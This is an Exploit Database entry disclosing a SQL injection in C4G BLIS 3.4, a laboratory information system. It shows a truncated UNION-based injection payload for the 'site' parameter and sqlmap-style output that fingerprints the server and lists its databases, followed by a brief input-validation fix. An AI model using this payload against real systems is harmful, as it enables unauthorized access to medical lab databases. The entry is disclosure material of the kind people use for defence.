

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# C4G Basic Laboratory Information System (BLIS) 3.4 - SQL Injection

**EDB-ID:**

46438

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[CARLOS AVILA](#)

**Type:**

[WEBAPPS](#)

**Exploit:**  

**Platform:**

[PHP](#)

**Date:**

2019-02-21

**Vulnerable App:**





 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```

Title: Generic UNION query (random number) - 12 columns
Payload: site=1275969 UNION ALL SELECT
CONCAT(0x71626a7071,0x5754617757446f465a4f41676352594968504a457651676852694d5
- tnMf
---
[15:51:35] [WARNING] changes made by tampering scripts are not included in
shown payload content(s)
[15:51:35] [INFO] testing MySQL
[15:51:36] [INFO] confirming MySQL
[15:51:37] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.4.32
back-end DBMS: MySQL >= 5.0.0
[15:51:37] [INFO] fetching database names
[15:51:38] [INFO] used SQL query returns 4 entries
[15:51:38] [INFO] starting 3 threads
[15:51:39] [INFO] retrieved: 'information_schema'
[15:51:40] [INFO] retrieved: 'blis_127'
[15:51:41] [INFO] retrieved: 'blis_revamp'
[15:51:43] [INFO] retrieved: 'mysql'
available databases [4]:
[*] blis_127
[*] blis_revamp
[*] information_schema
[*] mysql

```

### 3. Solution:

Application inputs must be validated correctly throughout the development of the project.

Tags: [SQL Injection \(SQLi\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.